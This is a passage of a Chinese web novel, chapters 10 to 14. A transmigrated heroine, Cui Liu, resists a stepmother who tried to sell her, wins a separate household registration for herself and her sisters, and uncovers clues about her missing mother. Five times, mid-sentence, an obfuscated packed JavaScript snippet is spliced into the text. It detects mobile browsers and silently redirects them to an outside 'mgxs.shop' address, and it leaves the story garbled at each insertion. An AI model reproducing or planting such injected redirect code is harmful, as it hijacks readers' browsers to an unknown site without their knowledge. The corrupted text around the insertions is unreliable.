牙尖嘴利的,还挑唆他跟许家的关系,完全像是变了个人。 难道她把脑子撞出问题了? 可是这年头破四旧,可不兴那些神神鬼鬼的说法,他只能强忍着狐疑,把问题挡了回去:“这都是你的一面之词,我不信你妈妈和青松会这么做。” “信不信已经由不得你了。”朱玉民上前一步,拿出了几分笔录,“这是你儿子闵青松在事发前后的行踪记录,其中有他的三个朋友可以证实,他说过他的母亲许春燕同志,准备卖掉他的四姐翠柳,给他换五百块钱彩礼。这是张大爷和赵大娘的口供,证明当时的翠柳确实撞倒在磨盘旁边,完全没有行为能力,是许春燕知道张大爷的孙子生病急等着用钱,哄骗张大爷帮的忙。这是闵青松女朋友的证词,证明她家确实收到了五百块,并且,闵青松亲口承认,那是卖掉他四姐翠柳的钱。现在我要将他逮捕归案,请你不要妨碍我执法!” “可是这也不能证明青松动手了啊!”闵铁牛急了,这只能算闵青松是既得利益者。 朱玉民提醒道:“那就看你老婆会不会独自抗下这个罪名了。如果不能,在闵翠柳同志的亲自指控下,在多方证据对你儿子不利的情况下,他还是会被抓的,而且只要后续证据依旧对他不利,他是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501371|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会被判刑的。” 完了完了完了!闵铁牛知道大势已去,急了,一把握住崔六的手,给她跪下:“翠柳!翠柳啊!爸爸就这么一个儿子,你可不能啊!你就网开一面吧,爸求你了!你要是想拿回工资也行,等你妈妈回来我一定让她把钱还给你!” 崔六毫不犹豫地扬开他的手,后退几步,任由他跪着:“事情是你老婆和儿子做的,你找我,没用!至于我们几个的工资,这笔账得慢慢算!” “翠柳啊!只要你撤销对青松的控诉,爸爸什么都愿意答应你。陈会计那里肯定不会逼你去的,爸爸一定另外给你找个好婆家。翠柳啊,爸爸的好翠柳,爸爸就这么一个独苗苗,你不能毁了他啊。”闵铁牛已经顾不得什么面子不面子的了,涕泪聚下,那叫一个如丧考妣。 崔六不打算让他如愿,不过现在,他还有用。 于是崔六哄骗道:“这样吧,我那天被撞得很严重,有些事情可能记得不是很清楚,等我去医院做个检查再说。在我回来之前,我希望我跟三个姐姐可以跟你们几个分开立户。你在大队那里能说得上话,你想想办法吧。” 这算是给了闵铁牛一线生机,不过他不确定这样能不能行,赶紧起身,毕恭毕敬地站在朱玉民旁边,问道:“小朱公安,你看,这事不违规吧?” 其实他是想问,能不能利用老四脑子可能撞坏了的理由,撤销对他儿子的控诉。 朱玉民知道,目前的证据不能真的把闵青松锤死,毕竟只有闵翠柳单方面的指控,其他的也都只是有点关联的旁证。 但他带走闵青松审问是没问题的,他严肃道:“当然不违规,受害者不确定自己到底受到了多大的伤害,这很正常。只要医院证实,受害者没有出现认知方面的障碍和偏差,那么受害者的指控就是可以采信的。” 闵铁牛急了,赶紧答应了崔六的条件:“好好好,我去办分户,我这就去。对了翠柳,分了户,你们姐妹几个住哪儿?” “你帮我们申请一块地,我们自己想办法盖房,实在不行招个上门女婿,不用你操心。”崔六随口敷衍了几句,她可不是什么好人,没有承诺不会指控闵青松。 总之,她要给翠柳讨个公道! 10. 分户3 在农村,想给女儿分户很难。 这涉及很多糟粕的家庭伦理和民俗村约。 所以这事,崔六一开始就没打算自己办。 不过只靠闵铁牛一个人肯定不够,于是她把王霞也叫了过来。 王霞忌惮的只有陈会计,现在陈会计没事了,她自然可以放开手脚,好好做一做妇女解放的工作。 她看着依旧站在旁边抹眼泪的蒋芳芳,好奇道:“小蒋?你还不走?” “我要闵队长给我一个承诺。”蒋芳芳不想看到闵家把其他女儿推出去嫁人,因为闵铁牛前妻生的四个女儿都挺不错的。 闵红梅端庄大气,孝顺懂事;双生花漂亮秀丽,一个沉默,一个外向,一静一动,各有风姿;闵翠柳俏丽无双,低调谨慎。 哪一个拿出去,都可以让公社的男青年们趋之若鹜。 这些年来,到闵家求娶的人可不少,只不过,那许春燕只想留着四个继女当长工,死活不肯点头罢了。 蒋芳芳想排除竞争对手,只能趁着王霞在这里,把逼嫁的问题定性成买卖妇女。 闵铁牛好奇道:“什么承诺?” 蒋芳芳吸了吸鼻子,走过来挽着崔六的胳膊,担忧道:“王主任也在这里,恳请闵队长做个承诺,不要再让买卖妇女的事情发生了。翠柳生得这样好看,她配得上咱们公社最好的男青年。至于她的三个姐姐,也都是数一数二的大美人,闵队长就算真的想捞几笔彩礼,也犯不着找一个没有生育能力的三婚男人。” 闵铁牛尴尬极了,当着王霞和朱玉民的面,当着刘祥的镜头,他无路可退,只得硬着头皮:“好,我保证不强迫我的任何一个女儿嫁给陈会计,绝不。” 蒋芳芳心满意足,离开前还提醒了一声:“王主任,听说闵队长做事喜欢拖拉,你可要防着点。” 比如分户,要办就立马去办,以防夜长梦多。 王霞明白:“陈会计刚走,你现在去追还来得及。” 蒋芳芳昂首阔步地离开,像是一种得胜凯旋的挑衅。 气得闵铁牛翻了个白眼,在心里骂了一句扫把星。 这副嘴脸,确实不像个善茬,王霞不禁蹙眉:“怎么?小蒋让你做了个承诺而已,你这就恨上人家了?” “没有没有!”闵铁牛赶紧收拾收拾,“我这就给翠柳她们办理分户,对了翠柳,你是想你们姐妹合一户,还是?” “合一户就行了。”崔六不是蛮干的人,分一户出去已经困难重重,没必要搞四户,让整件事彻底告吹。 再说了,她们姐妹并不甘心困在农村,一定会想办法往公社、县城发展。 分户只是摆脱被吸血的第一步,接下来就是找许春燕和许家要钱。 她可不会便宜了许家那一大帮吸血鬼。 闵铁牛见她没有执着于分四户,反倒是不高兴了。哎,只一户的话,找不到借口不给办了啊。 见他要出去,朱玉民拿出手铐:“闵队长,我要走流程,带你儿子回去审讯。其他的你们父女自己解决。” 别啊!闵铁牛这下急了,赶紧求情:“不能等翠柳检查完再审讯吗?” “不能,已经有充足的证据证明案发时闵青松在场,我必须公事公办。”朱玉民不再耽搁,拷走了闵青松。 闵铁牛再也不敢耽误,麻溜地往大队部去了。 王霞叫上翠柳,一起过去看看,路上叮嘱道:“等会我会尽量帮忙,不过你自己也要努努力,抹抹眼泪,哭哭鼻子。” 崔六明白:“放心吧王主任,我会跟书记承诺,分户之后一定积极工作,按时足额缴纳工资,购买工分。如果大队那边还是不同意,我就扶着额头上的伤口,晕倒在你怀里。” 王霞明白她的用意,安慰道:“这法子不错,我就借着你差点撞死的事情,好好帮你们争取争取。” 崔六很是感激,她果然没有看错人,这个王主任,真心当得起妇女主任这个职位。 不禁心中一热:“谢谢王主任!。” 王霞怜惜地笑了笑,事在人为! 果然,到了那里,大队支部廖书记表示了反对。 崔六立马掐了把大腿,声泪俱下地哭诉起了自己被后妈下药买卖的惨痛经历。 眼看着廖书记还在犹豫,她便直接捂着伤口,病病歪歪地倒在了王霞怀里。 王霞立马痛斥道:“新中国男女平等,四个姑娘单独立个户口到底犯了哪门子的王法?怎么?难道非要闵家把这四个没妈的孩子全都逼死了,你们大队支部才会有所作为吗?” 廖书记很是为难:“倒不是犯了王法,而是没有这样的例子,要不你叫她们招个上门女婿,借着结婚的由头,我倒是可以批复一下,让她们单独立一个户口。” 王霞生气了,说话很难听:“廖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501372|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书记,讲讲道理吧,难道闵家的事情你们不知道?这几个姑娘全都被那黑心肝的后妈拖成了大龄未婚女青年,你现在叫她们临时上哪儿找女婿去?要不这样,你把你儿子入赘给她们姐妹,我回去了好跟县妇联反馈解决方案。” 廖书记哪里舍得儿子入赘,一时不知该如何反驳。 崔六便打蛇随棍上:“廖书记,这件事已经在全公社传开了,你可以做个开明的代表,让公社被逼嫁的女同志们看到一线生机,到时候王主任肯定会向上级领导反应你对妇女工作的支持。” “没错,廖书记,今年的评优你很有希望。”王霞画了个大饼,毕竟妇女解放一直是农村工作的重点。 话都说到这个份上了,廖书记只好象征性地问了一下原本的户主:“闵队长没意见吧?” 闵铁牛敢有意见吗?这都跟县里通过气了,只得赔笑脸:“愿意,我愿意。 很快,闵家所在生产队和大队支部的手续都办完了,地也批下来了,在村东口小礼堂边的小树林旁。 那里挨着运河,有一些构树,到处野生野长的,根系发达,还很容易侵占到墙体附近,很难处理。 就算盖房子,难度也很大,是块没有人要的不毛之地。 王霞有些不满,廖书记却死活不肯再退让:“王主任,我已经给她们姐妹分了户,批了地,说破天我也没什么错处,您就别再为难我了吧。” 王霞无奈,只得忧心忡忡地看着崔六:“翠柳啊,这房子怕是不好盖啊。” 崔六知道王霞和廖书记都尽力了,就那块地吧,免得队里的成员有意见。 于是她宽慰道:“不怕,我跟姐姐们掘地三尺也把构树的老根给挖出来!” 也好!无非是累一点,总比留在后妈跟前送了小命的好。 从大队支部离开,崔六便赶紧找姐姐们报喜去。 * 闵铁牛回到家里,发现两个小女儿已经回来了。 他把今天的事一说,闵蓝芙当即怒不可遏:“爸!你怎么这么傻!赶紧,找我亲姐要点钱,疏通一下关系!” 闵铁牛也有这个打算,只不过,不到万不得已,他不想打扰那边的女儿。 可是眼下,女儿的亲妈很难脱罪,他也只能试试看了。 于是他去了趟供销社,拿起了话筒,没想到那头一听是他的声音,立马啪的一声挂了电话。 11. 出轨 闵铁牛很郁闷。 费劲心思把亲女儿塞进了首长家里,原指望这个女儿可以帮衬他一二,没想到这孩子自己过了好日子就忘本了。 话都不让他说就挂断了电话,简直目中无人,六亲不认。 一时伤心不已,将那嘟嘟作响的话筒扣下,付了一分钟的长途电话费。 算了,看看儿子那边什么情况就回去挣工分吧,这几天耽误了不少事,为了一个翠柳,不值得,现在这孩子还提了她们姐妹工资的事,怕是以后有得闹了,想想就头疼。 他骑着二八大杠,赶去公社大院。 这年头在公社没有专门的公安办事机构,一般都跟人保组的在一起办公。 刚到大院,便看到崔六在妇联办公室里坐着。 闵铁牛锁了车,从妇联门口路过,忍不住飞了个眼刀子,这个老四肯定有问题,往日里那么胆小怕事的一个孩子,居然变得不卑不亢,敢于争取了。 等他抽空找个神棍偷偷算上一卦。 这会儿还是儿子要紧,来到人保组,果然看到朱玉民正在审问闵青松。 闵青松就跟个瘪三一样,拷着双手背对着墙壁站着,朱玉民问一句,他答一句,有时候甚至只是啊一声,什么内容都没有。 闵铁牛很着急,赶紧找了个话题打岔:“小朱公安,我想问问,我家春燕儿是送到县看守所了吗?” 朱玉民没搭理他,挑眉看向隔壁桌的人保组组长方进:“方组长,我在审案子,劳驾您让无关人员出去一下。” 方进是本地公社的,跟闵铁牛只是点头之交,起身把人请了出去。 闵铁牛很憋屈,一时无处撒气,干脆跑去妇联门口找茬:“翠柳!你给我出来!” 崔六正在王霞这里填写资料,王霞决定把“后妈逼嫁”这件事写成一个重点工作汇报,交给县妇联,需要崔六补充一些案发和逃跑时的细节。 听到闵铁牛在门口嚷嚷,她头都没抬,继续写自己的。 闵铁牛急了,又不敢在王霞跟前太过放肆,只好憋着一口气,进来赔笑脸:“王主任,我想问问翠柳,今天开始是不是不回去吃饭了?” “回。”崔六和三个姐姐虽然已经分户了,可是房子还没盖呢,也不好一直在孙阿姨家叨扰,她们还是要回去一段时间的。 而且,她要找一找老物件,看看能不能发现原身妈妈失踪的线索。 不过她们姐妹四个都挤在西房的粮仓旁边住着,终日跟潮气、粉尘、和各种蛇鼠虫蚁为伴,那种居住环境她实在是无法忍受。 所以最好的办法就是赶紧推进几个吃瓜红包的进展,多赚点瓜币,买几个帐篷。 她看着王霞脑袋上飘着的上百个红包,开心得很,随便拆开一个,都能忙活一阵子了。 比如什么单亲妈妈养大儿子后,在儿子结婚当晚,居然要求跟儿子儿媳一张床睡觉,气得儿媳妇半夜跑回娘家,至今未归。 崔六问过系统了,只要她能劝说这个婆婆扭转认知改变习惯,并让儿媳妇解气,这个瓜就算阶段性结束了。 至于这个婆婆后面会不会再犯,那是新瓜,不影响当前的结算。 不过这事难度不小,王霞已经劝过好几次了,奈何这个婆婆油盐不进,总担心她儿子有了媳妇忘了娘。 崔六却觉得也要从男人入手,是他的存在,才让两个本来没有血缘关系的女人凑合在一个屋檐下生活,只要他摆不正自己的位置,就算婆媳俩被劝回来了,以后还是会出问题。 崔六准备等会就去看看,她勉为其难地抬头看了眼闵铁牛:“今后我们姐妹四个跟你们分开吃,口粮自备。蓝芙跟紫蓉也老大不小了,你要是下工回来没饭吃,你就让她们俩做。” 闵铁牛有点茫然:“你什么意思?” “意思是,你的四个女儿不能露宿街头,不然丢的是你的脸。不过我们已经分户了,今后各做各的饭,各吃各的菜。”崔六直接说重点,“当然,你要是不愿意,没关系的,回头我请刘祥帮我们拍一张睡大街的照片,让全村都知道什么叫做人走茶凉,有后妈就有后爸。” 听听,听听!这说的都是什么大逆不道的鬼话! 闵铁牛气得七窍生烟,却又找不到反驳的由头,只好气鼓鼓地走了。 路过供销社,他咽不下这口气,准备再去打个电话给他亲闺女。 刚到柜台前,电话便响了,那售货员拿起话筒,听到对面的要求明显一愣,随即把话筒递给了闵铁牛:“找你的。” 闵铁牛顿时喜上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501373|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉梢,张嘴便喊闺女。 那头很不高兴,警告道:“我在朋友家里,注意你的措辞。” 闵铁牛只好换了个称呼:“颖颖,你——”妈字还没出口,赶紧改口,“我爱人出事了。” 对面没有感情起伏:“出什么事了?” “她找了个三婚的男人,收了五百块彩礼钱——” “知道了,不就是逼嫁吗?倒霉鬼是老几?” “老四。” “事情成了吗?” “没有。” “真没用!” “颖颖——” “人被抓了?” “关在县看守所。” “公安特派员叫什么,我来安排。” “朱玉民,县里的,警校毕业三年。” “没别的事了吧?” “那个……那个我手头……” “要钱,对吧,多少?” “五……五百有吗?你弟弟那边——” “知道了,下午给你汇过去,没事别打我家里电话,你记个号码,下次有事打到这里。” “哎!好!谢谢你颖颖,谢谢!” 闵铁牛赶紧找售货员借了纸笔,记下来一个号码。 因为写得太过用力,即便纸张撕去,下面一张也留了印子。 等闵铁牛挂了电话付了钱离开,正好崔六过来买东西。 她看着远去的背影,好奇问道:“小毛姐姐,他买什么了?怎么空手走了?” “没买什么,打了个电话,问哪个亲戚要了五百块钱。”毛新美把记账本收起来,笑着问道,“你要买什么?” 五百块钱?那感情好啊,看看能不能拦截下来,补偿她们姐妹的损失。 崔六觉得这日子挺有盼头,忍不住笑了,她把出来前找王霞借的糖票递过去:“买点水果糖,一斤就行。” 买完糖,崔六去了趟毓秀村,看看女方有没有继续过下去打算,再找男方解决问题。 才到村口,老远便看到女方妈妈领着几个萝卜头在抱柴火,走近些,老人家的脑袋上飘着一串红包,其中一个居然跟闵铁牛有关。 崔六点开一看,居然是婚内出轨?跟谁? 咦,居然不是许春燕? 12. 线索 解放前夕,老百姓水深火热。 一个家中有四个孩子,又收养了一个首长家孩子的产妇,得不到贴心的照顾。 她婆婆嫌弃她连生四个女儿,拿了钱,只肯照顾首长家的女儿,最后只能是三个大一点的女儿来照顾她。 那天,大女儿闵红梅提着一篓子衣服,拿着棒槌去河边洗衣服;二女儿闵橙萱因为家里没米,跑去地主家里借粮;三女儿闵金菊则忙着给小妹妹翠柳洗尿布,光是把水井的压杆压下去,就累得嘿呦嘿呦的,更别说再去分心照顾妈妈和小妹妹了。 等到她把尿布洗完,回到房间一看,妈妈不见了。 床褥上有大片的血迹,但也不算奇怪,毕竟妈妈还在产褥期,每天都要出很多血。 可能妈妈从后门出去,去地里找爸爸了? 闵金菊便守着摇篮里的小妹妹,耐心地等待两个姐姐回来。 很快,闵红梅回来了,晾好衣服发现妈妈还没回来,便去镇上的诊所看看。 闵橙萱回来的时候鼻青脸肿的,手里死死攥着半袋子糙米,闵金菊问了半天,才知道她跟地主家的傻儿子打赌赌赢了半袋米,本以为可以顺利离开,却撞上了地主家的小妾出来偷汉,给她打了一顿,让她小心她的舌头。 闵金菊心疼坏了,抱着闵橙萱大哭一场,继续等妈妈。 可是等到天黑,等到大姐从镇上回来,还是没有妈妈的人影。 姐妹三个只好随便弄了一锅糙米粥,又用一碗糙米从邻居家里换了半碗小米,回来给小妹妹熬米汤喝。 夜晚来临,家里的大人依旧不见踪迹,三个姐姐只得关好门窗,插好门栓,守着嗷嗷待哺的小妹妹。 第二天,她们的老子终于回来了,说是陪她们的妈妈去看医生,妈妈出血太多,留在医院观察了。 可是几天后,爸爸说收治妈妈的医院被对岸的炮弹击中了,妈妈下落不明,生不见人,死不见尸。 三姐妹嚎啕大哭,闹着要去医院的废墟那里找妈妈,得到的却是爸爸无情的施暴。 一人两个大嘴巴子不说,还被踹了几脚,姐妹三个被迫跪下发誓,时局混乱,要为全家人的安全着想,不再出去找妈妈。 闵红梅虽然不情愿,但还是妥协了,她知道战争激烈,夜里都能听见两岸的炮声,要是出去的时候,不小心遇上流弹或者水匪,这个家会更加完蛋,小妹翠柳的生存也成了问题。 毕竟她们的老子连饭都不会做。 不过老二老三没妥协,她们第二天就跑出去打听,确实有医院被炮弹击中了,可那是隔壁县的,离他们很远。 更伤心的是,妈妈才出事几天,爸爸就找了新的老婆。 那女人甚至带着一个儿子住了进来,说是她们爸爸的种。 看月龄,跟小妹翠柳一般大小。 可见她们的妈妈还没有失踪的时候,她们的爸爸就跟这个女人勾搭上了。 这么急不可耐地住进来,搞得好像她们的妈妈已经死了一样。 姐妹三个受不了,大吵大闹了一场,不出意外,收获了双倍的施暴。 最终她们四姐妹被塞到了一张床上;爸爸则搂着女人和女人的儿子,在一起亲亲我我。 日子久了,姐妹俩也麻木了,连她们自己都不知道,从什么时候开始,放弃了寻找。 而翠柳,因为当时太小,对往事的了解都是从三个姐姐口中得知的,所以崔六也没有办法得到更多的细节和信息。 可是现在她才知道,她们老子居然还出轨了别人! 这人叫做侯晶,正是毓秀村的。也许是在许春燕之前? 那么知情者跟她们的老子应该是老相识才对,可是翠柳的记忆里,这个宋大娘跟闵家并没有什么来往。 崔六客气地打了声招呼:“宋大娘,我来找国珍姐。” 宋大娘扭头看了眼:“是翠柳啊,找她有事?” “嗯。”崔六弯腰把水果糖一把一把地抓出来,塞给几个小萝卜头。 那宋大娘本来只想对闵家的人敬而远之,见状也只好勉为其难地回了一句:“她去东圩的桑田了,要是田里找不到她,就去圩上的蚕室看看。生产队的蚕都归她管。” “谢谢大娘。”崔六直起身来,不经意地问了一声,“对了大娘,我和三个姐姐跟我爸分户了,暂时没地方住,不知道你们村有没有空房子啊?” 宋大娘有点意外:“分户了?你们四个一户?” “嗯!王主任帮忙争取了一下。”崔六笑着帮王霞做宣传,“王主任可好了,真心为我们女同志着想,我们几个都感动坏了。” 宋大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501374|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘默默叹了口气,小声嘀咕道:“好什么呀,只会和稀泥。” “大娘你说什么?”崔六装作没听清。 宋大娘赶紧装作没事人一样:“没事没事,我是说,不愧是妇女主任。” 崔六笑了:“宋大娘,那你们村有空房子吗?我们姐妹四个打算盖房了,可是村里批的那块地全是构树,很难处理,我们想租个房子过度一下。” 毕竟帐篷也不是万能的,遇上刮风下雨可不得了。 而毓秀村离公社近,办事方便,租住在这里其实是不错的选择,只是这么一来,三个姐姐上班就有点远了。 因为他们公社有两个中心,一个是各种社办机构扎堆的公社行政中心,一个是社办厂子扎堆的手工业中心。 为了发展江边的渔业经济,前者远离江岸,在村落的北边;而为了方便运输,后者便直接建在了江边码头附近。 从公社去手工业中心,就要路过中间的十几个村落,骑车的话大概需要个把小时。 碧云村的位置比较居中,如果住在毓秀村,姐姐们上班确实辛苦。 不过没关系,她只是找个话茬跟宋大娘打听她们老子出轨的事情,总不能上来就问那个侯晶是怎么勾搭闵铁牛的,聪明人都怕招惹是非,不会随便开口。 宋大娘见她懂事,没有空手上门,便介绍了村里的两个老房子:“侯家后面有一户,那家儿子女儿都去县里发展了,只剩一个老头,上个月刚死,房子已经被村里收回了,目前还没有安排;后村也有一户,那家儿子犯事吃枪子了,只剩一个外嫁的女儿,房子目前考虑给女儿的叔叔家,不过叔叔家也有房子,目前村里还没有开会表决。” 侯家?那感情好啊,侯这个姓,放眼整个公社也没几个。 崔六便把剩下的糖果都递给了宋大娘:“谢谢大娘,我先找国珍姐说事,等会再来,到时候还得麻烦你带我过去看看,行吗?” “行啊,去吧。”宋大娘眉开眼笑的,立马应下。 崔六刚到桑田那边,便遇到了王霞的姐姐王露。 上次崔六在孙家躲着,没见过她,但听得出她的声音,擦肩而过的时候,崔六客客气气喊了声王阿姨好。 王露正在跟桑农说话,笑呵呵地一扭头:“呦,是翠柳呀!听说你受了伤,好点没?” 13. 中意 崔六没想到会在桑田这里遇到王露,更没想到王露居然知道她受伤的事情。 崔六有点意外,笑着回道:“好多了王阿姨,我找国珍姐办点事,等会再找你们聊天。” “你找国珍啊,她不在。”王露看了看手表,“三大队第五中队的许队长来找她指导养蚕的技术,她刚去半个多小时,你看你是等会再来还是去许队长那边找她?” 崔六有点无奈,这可真是冤家路窄了,这个许队长是上圩村的,许春燕的大哥。 她要是去许家,那不是自找麻烦吗?只得摇了摇头:“那我等会再来吧。” 王露大概猜到了什么,心中不忍,干脆拽着桑农刘嫂子的胳膊去了旁边:“小刘,把你那新买的飞鸽借我骑一骑,回头我叫我家淙林帮你家拿漏。” “哎呦王阿姨,客气什么?你要骑就骑吧,反正我还要忙活一阵子呢。”刘嫂子平时很抠门,可她家里还有个急等着找对象的小叔子,正是有求于王露的时候,便痛快地应下了。 王露笑着接过她手里的车钥匙,转身招呼道:“翠柳啊,跟我走,你在他们村口等我,我叫国珍出来跟你说话。” 崔六跟着王露往桑田外面走,好奇道:“不会耽误人家养蚕的事吗?” 王露个头不高,一米六都没有,比崔六矮了半个头,走路却带着风,她推着车,笑着回头:“不会,第五中队有自己的桑蚕养殖技术员,他叫国珍过去,醉翁之意不在酒。” 崔六秒懂:“他想把国珍姐说给他那个离婚的儿子?” 王露很是为钱国珍抱不平:“可不是吗?要我说,许队长就是想屁吃呢,人家国珍的婆家多省心啊,就一个婆婆,一个男人,没有妯娌矛盾,也没有姑嫂矛盾,只要把她婆婆的问题解决了,怎么不是一桩好姻缘呢。再说了,她跟她男人都是初婚的,身后都没有拖油瓶,哪里犯得着去许家给别人生的崽子做后妈。” “确实,看来王阿姨也觉得国珍姐跟她婆家的矛盾是可以解决的?”崔六提起车后座,跟王露一起绕开了一个被雨水冲出来的缺口。 王露下意识回头看了眼,笑道:“当然了。你这孩子真有眼力见儿,哎,我家豆苗有你这么省心就好了。” 崔六没有接这话茬,毕竟她跟楚家的人不熟,也不知道楚豆苗是个什么情况。 她换了个话题:“王阿姨陪我去上圩村,不会耽误你的事吧?” “不会,我刚选上第三大队的妇女队长,就是要帮助妇女解决问题的。”王露笑着在桑田外的路上停下,问道,“你是直接坐上来,还是等会自己跳上来?” 崔六直接选择了第三个方案:“我来骑车吧王阿姨,我劲儿大。” “也好。”王露直接坐在了后车座,车子骑起来,她继续八卦,“听你王霞阿姨说,你这几天害怕被你后妈抓回去,一直在水渠沿岸躲着?” “嗯。”这是崔六对王霞和朱玉民的说辞,“每次我远远地听见有人在喊我,我就躲到另外一个村子里去。” “那你今天怎么不躲了?” “我听人说,我后妈被抓起来了。” “难怪,你放心,你王霞阿姨很心疼你的,她很欣慰你知道保护自己,不过呢,以后要是再遇见这样的事情,你可以直接找她跟小朱公安,天气这么热,万一你被毒蛇咬一口可不得了。” “好,谢谢王阿姨。” “谢我做什么,我什么忙也没帮上。” “今天就帮大忙了。” “对了,你找钱国珍做什么?” “问问她还想不想跟李建军过下去。” “哦,我懂了,你想劝和,帮你王霞阿姨省点事。” “王阿姨你真厉害,这都猜到啦。” “那当然了,不是我吹,我看人还是很准的。你这孩子心善,会有好报的。” “谢谢王阿姨,你家泽林也是个大好人,他一定会醒来的。” 王露有点意外,没想到还有人希望她儿子好起来,一时眼眶一热,感慨道:“哎,都是我不好,不该逼他回来相亲的,他要是直接去了海岛,现在已经升营长了,说不定他自己已经谈了一个对象,结了婚生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501375|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了娃。” “王阿姨,别这么想,你也是担心他在海岛辛苦寂寞,有个嫂子陪着他也是好的。”崔六赶紧安慰了一下,那件事纯粹是个意外,没有哪个妈妈会希望自己的儿子出事。 王露擦了擦泪水,默默叹了口气:“话是这么说,终究是我害了他,也害了他弟弟。” “淙林怎么了?”崔六有点意外,没听说楚家别的孩子也出事了啊。 王露唏嘘道:“哎,淙林被我摁在家里照顾他哥哥,说好的对象也黄了。” 那确实有点可惜,不过崔六还是找了个角度安慰道:“无福之人不进有福之门,那姑娘是个傻的,她也不想想,万一哪天你家泽林醒过来了,他肯定要报答自己弟弟对不对?到时候哥哥有本事,还能看着弟弟过苦日子吗?弟弟弟媳又是一家,帮了弟弟不就等于帮了弟媳?” 这话王露特别爱听,她从小教育家里的孩子,要兄友弟恭,姐妹同心,崔六说的话,正中她的心坎儿了。 不禁笑着擦去眼角的泪:“你说得对,那姑娘是个傻的!等我家泽林醒了,淙林也会跟着过好日子的。” “可不是。王阿姨你也别急,到时候肯定可以给淙林找个更好的。”崔六减缓了车速,在一个巨大的缺口面前下车,推着车子过去。 王露直接跳了下来,提着点后座。 过了缺口,两人又上了车,继续上前,一路聊得非常投缘。 很快到了上圩村村口,崔六下车:“王阿姨,我就在这里等你吧,许家舅舅看我们姐妹四个不顺眼,我就不去了。” “好。”王露明白,一个敢于跟后妈抗争的勇敢的姑娘,不至于害怕后妈的娘家人,这姑娘应该是不想节外生枝,是个聪明人。 王露赶紧去了许家,到那一看,果然,钱国珍被许家的一众亲戚围着,那眼神很不尊重,好像在打量一个物件。 王露站在门口,不客气道:“呦,许队长,你妹子还在县里坐牢呢,你居然还有心思帮宋大娘的闺女调解家庭纠纷啊?不如把这事交给我吧,你快去想办法救你妹子吧。” 14. 骸骨 许开山只是一个中队长,得罪不起王露,毕竟她男人在公社粮站管事呢。 只得赶紧赔着笑脸出来说话:“是王大姐啊,瞧你说的,我哪有闲工夫掺和别人的家务事,不过是找国珍过来请教一下养蚕的技术,这就好了。” 王露冷哼一声,没有搭理他,转身招呼刚从人群中挣脱的钱国珍:“国珍啊,快点的,你们队上还有事呢,跟我走。” 钱国珍赶紧出来,推着自己的自行车,大长腿一迈,溜之大吉。 骑出去百十来米,她才喘了口气:“王阿姨,谢谢啊,你可真是及时雨,我差点要被许家的人给臊死了。什么人啊,我这刚结婚,还没考虑离婚的事呢,他们就着急忙慌的把许开山的儿子说给我,这不有病吗?” 王露也觉得有病,义愤填膺:“国珍啊,别怕,回头我找大队长说说,许开山这个季度别想评优了,也不撒泡尿照照,自家儿子什么鬼样子心里没点数吗?” “就是呢王阿姨,谁不知道那许向北游手好闲的,全靠他老子娘养着。要不然,咱们农村妇女哪有轻易离婚的,不都是捏着鼻子往下过吗?”钱国珍越想越气,这许家真是打得一手好算盘,都知道她新婚夜闹了一场,没圆房,想白捡一个黄花大闺女呢,做梦。 